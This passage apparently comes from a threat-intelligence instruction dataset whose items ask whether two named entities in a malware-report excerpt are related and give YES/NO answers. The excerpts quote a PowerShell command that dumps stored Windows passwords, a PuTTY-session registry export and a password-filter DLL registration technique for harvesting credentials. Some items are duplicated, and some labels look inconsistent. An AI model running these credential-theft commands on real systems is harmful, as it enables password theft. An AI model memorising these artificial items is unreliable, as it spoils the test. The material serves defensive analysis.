semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: x96dbg\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPowerShell\n### Target Entity: Windows\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDumpIt\n### Target Entity: LordPE\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShuckworm\n### Target Entity: Ukraine\n### Text Passage:\nShuckworm: Inside Russia\u2019s Relentless Cyber Campaign Against Ukraine\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShuckworm\n### Target Entity: Russia\n### Text Passage:\nShuckworm: Inside Russia\u2019s Relentless Cyber Campaign Against Ukraine\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShuckworm\n### Target Entity: Ukraine\n### Text Passage:\nShuckworm: Inside Russia\u2019s Relentless Cyber Campaign Against Ukraine\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\npsgfilter.dll\n### Target Entity: Windows\n### Text Passage:\n**Second Stage: Abusing The Dropped Password Filter Policy**\nMicrosoft introduced Password Filters for system administrators to enforce password policies and change notifications. These filters are used to validate new passwords, confirm that these are aligned with the password policy in place, and ensure that no passwords in use can be considered compliant with the domain policy but are considered weak.\nThese password filters can be abused by a threat actor as a method to intercept or retrieve credentials from domain users (domain controller) or local accounts (local computer). This is because for password filters to perform, password validation requires the password of the user in plaintext from the Local Security Authority (LSA). Therefore, installing and registering an arbitrary password filter could be used to harvest credentials every time a user changes his password. This technique requires elevated access (local administrator) and can be implemented with the following steps:\n1. Password Filter psgfilter.dll be dropped into C:\\Windows\\System32\n2. Registry key modification to register the Password Filter [DLL HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Lsa\nNotification Packages = scecli, psgfilter]\nUsing this technique, the malicious actor can capture and harvest every password from the compromised machines even after the modification. The DLL has three export functions to implement the main functionality of support for registering the DLL into the LSA, as follows:\n* **InitializeChangeNotify:** Indicates that a password filter DLL is initialized.\n* **PasswordChangeNotify:** Indicates that a password has been changed.\n* **PasswordFilter:** Validates a new password based on password policy.\nFigure 8. First and second stages\nFigure 9. Functions exported by DLL\nWhen implementing the password filter export functions, the malicious actor took great care working with the plaintext passwords. When sent over networks, the plaintext passwords were first encrypted before being exfiltrated.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShuckworm\n### Target Entity: Ukraine\n### Text Passage:\nVictims\nOne of the most significant things about this campaign is the targets, which include Ukrainian military, security, research, and government organizations. The attackers were observed focusing on machines that contained what appeared from file names to be sensitive military information that may be abused to support Russian kinetic war efforts.\nThe majority of these attacks began in February/March 2023, with the attackers maintaining a presence on some of the victim machines until May. The sectors and nature of the organizations and machines targeted may have given the attackers access to significant amounts of sensitive information. There were indications in some organizations that the attackers were on the machines of the organizations\u2019 human resources departments, indicating that information about individuals working at the various organizations was a priority for the attackers, among other things.\nThis activity demonstrates that Shuckworm\u2019s relentless focus on Ukraine continues. It seems clear that Russian nation-state-backed attack groups continue to prioritize high-value Ukrainian targets in attempts to find data that may potentially help their military operations.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShuckworm\n### Target Entity: Russia\n### Text Passage:\nVictims\nOne of the most significant things about this campaign is the targets, which include Ukrainian military, security, research, and government organizations. The attackers were observed focusing on machines that contained what appeared from file names to be sensitive military information that may be abused to support Russian kinetic war efforts.\nThe majority of these attacks began in February/March 2023, with the attackers maintaining a presence on some of the victim machines until May. The sectors and nature of the organizations and machines targeted may have given the attackers access to significant amounts of sensitive information. There were indications in some organizations that the attackers were on the machines of the organizations\u2019 human resources departments, indicating that information about individuals working at the various organizations was a priority for the attackers, among other things.\nThis activity demonstrates that Shuckworm\u2019s relentless focus on Ukraine continues. It seems clear that Russian nation-state-backed attack groups continue to prioritize high-value Ukrainian targets in attempts to find data that may potentially help their military operations.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShuckworm\n### Target Entity: Ukraine\n### Text Passage:\nVictims\nOne of the most significant things about this campaign is the targets, which include Ukrainian military, security, research, and government organizations. The attackers were observed focusing on machines that contained what appeared from file names to be sensitive military information that may be abused to support Russian kinetic war efforts.\nThe majority of these attacks began in February/March 2023, with the attackers maintaining a presence on some of the victim machines until May. The sectors and nature of the organizations and machines targeted may have given the attackers access to significant amounts of sensitive information. There were indications in some organizations that the attackers were on the machines of the organizations\u2019 human resources departments, indicating that information about individuals working at the various organizations was a priority for the attackers, among other things.\nThis activity demonstrates that Shuckworm\u2019s relentless focus on Ukraine continues. It seems clear that Russian nation-state-backed attack groups continue to prioritize high-value Ukrainian targets in attempts to find data that may potentially help their military operations.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUkraine\n### Target Entity: Shuckworm\n### Text Passage:\nVictims\nOne of the most significant things about this campaign is the targets, which include Ukrainian military, security, research, and government organizations. The attackers were observed focusing on machines that contained what appeared from file names to be sensitive military information that may be abused to support Russian kinetic war efforts.\nThe majority of these attacks began in February/March 2023, with the attackers maintaining a presence on some of the victim machines until May. The sectors and nature of the organizations and machines targeted may have given the attackers access to significant amounts of sensitive information. There were indications in some organizations that the attackers were on the machines of the organizations\u2019 human resources departments, indicating that information about individuals working at the various organizations was a priority for the attackers, among other things.\nThis activity demonstrates that Shuckworm\u2019s relentless focus on Ukraine continues. It seems clear that Russian nation-state-backed attack groups continue to prioritize high-value Ukrainian targets in attempts to find data that may potentially help their military operations.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: Nodaria\n### Text Passage:\nSimilarity to older tools\nGraphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.\nIn addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.\nTable 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)Malware Go version Internal name Obfuscation Libraries used\n---------------\nInfostealer.Graphiron 1.18 n/a yes jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex\nDownloader.Graphiron 1.18 n/a yes jcmturner/aescts\nGraphSteel 1.16 Elephant no buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson\nGrimPlant 1.16 Elephant no jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: GraphSteel\n### Text Passage:\nSimilarity to older tools\nGraphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.\nIn addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.\nTable 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)Malware Go version Internal name Obfuscation Libraries used\n---------------\nInfostealer.Graphiron 1.18 n/a yes jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex\nDownloader.Graphiron 1.18 n/a yes jcmturner/aescts\nGraphSteel 1.16 Elephant no buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson\nGrimPlant 1.16 Elephant no jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: GrimPlant\n### Text Passage:\nSimilarity to older tools\nGraphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.\nIn addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.\nTable 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)Malware Go version Internal name Obfuscation Libraries used\n---------------\nInfostealer.Graphiron 1.18 n/a yes jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex\nDownloader.Graphiron 1.18 n/a yes jcmturner/aescts\nGraphSteel 1.16 Elephant no buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson\nGrimPlant 1.16 Elephant no jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: PowerShell\n### Text Passage:\nSimilarity to older tools\nGraphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.\nIn addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.\nTable 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)Malware Go version Internal name Obfuscation Libraries used\n---------------\nInfostealer.Graphiron 1.18 n/a yes jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex\nDownloader.Graphiron 1.18 n/a yes jcmturner/aescts\nGraphSteel 1.16 Elephant no buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson\nGrimPlant 1.16 Elephant no jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: C&C\n### Text Passage:\nSimilarity to older tools\nGraphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.\nIn addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.\nTable 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)Malware Go version Internal name Obfuscation Libraries used\n---------------\nInfostealer.Graphiron 1.18 n/a yes jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex\nDownloader.Graphiron 1.18 n/a yes jcmturner/aescts\nGraphSteel 1.16 Elephant no buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson\nGrimPlant 1.16 Elephant no jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: C&C\n### Text Passage:\nSimilarity to older tools\nGraphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.\nIn addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.\nTable 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)Malware Go version Internal name Obfuscation Libraries used\n---------------\nInfostealer.Graphiron 1.18 n/a yes jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex\nDownloader.Graphiron 1.18 n/a yes jcmturner/aescts\nGraphSteel 1.16 Elephant no buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson\nGrimPlant 1.16 Elephant no jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: GrimPlant\n### Text Passage:\nSimilarity to older tools\nGraphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.\nIn addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.\nTable 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)Malware Go version Internal name Obfuscation Libraries used\n---------------\nInfostealer.Graphiron 1.18 n/a yes jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex\nDownloader.Graphiron 1.18 n/a yes jcmturner/aescts\nGraphSteel 1.16 Elephant no buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson\nGrimPlant 1.16 Elephant no jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: GraphSteel\n### Text Passage:\nSimilarity to older tools\nGraphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.\nIn addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.\nTable 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)Malware Go version Internal name Obfuscation Libraries used\n---------------\nInfostealer.Graphiron 1.18 n/a yes jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex\nDownloader.Graphiron 1.18 n/a yes jcmturner/aescts\nGraphSteel 1.16 Elephant no buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson\nGrimPlant 1.16 Elephant no jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: Graphiron\n### Text Passage:\nSimilarity to older tools\nGraphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.\nIn addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.\nTable 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)Malware Go version Internal name Obfuscation Libraries used\n---------------\nInfostealer.Graphiron 1.18 n/a yes jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex\nDownloader.Graphiron 1.18 n/a yes jcmturner/aescts\nGraphSteel 1.16 Elephant no buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson\nGrimPlant 1.16 Elephant no jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: C&C\n### Text Passage:\nSimilarity to older tools\nGraphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.\nIn addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.\nTable 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)Malware Go version Internal name Obfuscation Libraries used\n---------------\nInfostealer.Graphiron 1.18 n/a yes jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex\nDownloader.Graphiron 1.18 n/a yes jcmturner/aescts\nGraphSteel 1.16 Elephant no buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson\nGrimPlant 1.16 Elephant no jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity 